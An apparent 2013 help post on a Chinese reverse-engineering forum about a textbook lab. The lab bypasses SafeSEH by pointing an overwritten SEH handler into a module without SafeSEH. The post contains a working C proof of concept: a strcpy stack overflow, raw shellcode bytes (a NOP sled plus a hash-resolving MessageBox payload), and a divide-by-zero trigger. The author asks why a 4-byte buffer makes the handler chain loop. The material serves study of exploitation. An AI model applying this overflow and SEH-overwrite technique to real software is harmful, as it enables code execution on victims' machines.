首页
社区
课程
招聘
[求助]11.5利用未启用SafeSEH绕过SafeSEH代码的一点思考
发表于: 2013-11-15 15:36 6004

[求助]11.5利用未启用SafeSEH绕过SafeSEH代码的一点思考

2013-11-15 15:36
6004
在这一节中,书中代码有两处
char str[200];
我尝试把他们改小,引发的一些问题,代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>

char shellcode[] =
	"\x90\x90\x90\x90\x90\x90\x90\x90"                              //8
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x12\x10\x12\x11"                                 //地址
	"\x90\x90\x90\x90\x90\x90\x90\x90"                                 //由于进行try,会对数据造成破坏
	"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x6E\x21\x21\x21\x68\x4C\x30\x67\x31\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";


DWORD MyException()
{
	printf("This is an exception");
	getchar();
	return 1;
}

void test(char *input)
{
	char str[8];                   //此处书中代码是200个字节空间,在上面是shellcode又先填入了200个0x90
									//既然没有用到,为什么又要开这么大,我尝试了一个str[2],这样会破坏后面的地址
									//必须要是4,或是4个倍数,当我设置为4时,却导致了链表的循环,不知是什么原因
									//目前改为8个字节,正常执行。
	strcpy(str, input);
	int zero = 0;
	__try{
	zero = 1 /zero;
	}
	__except(MyException())
	{
	}
}

int main()
{
	HINSTANCE hInst = LoadLibrary(L"SEH.dll");
	char str[200];                            //一句看似没用的话
												//通过调试可以发现如果去掉后,栈中空间不足,导致shellcode不能正常存放
	__asm int 3
	test(shellcode);
	return 0;
}


第一处char str[200],改为char str[4]后,导致链表循环的问题,不是太理解为什么,求解救。

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//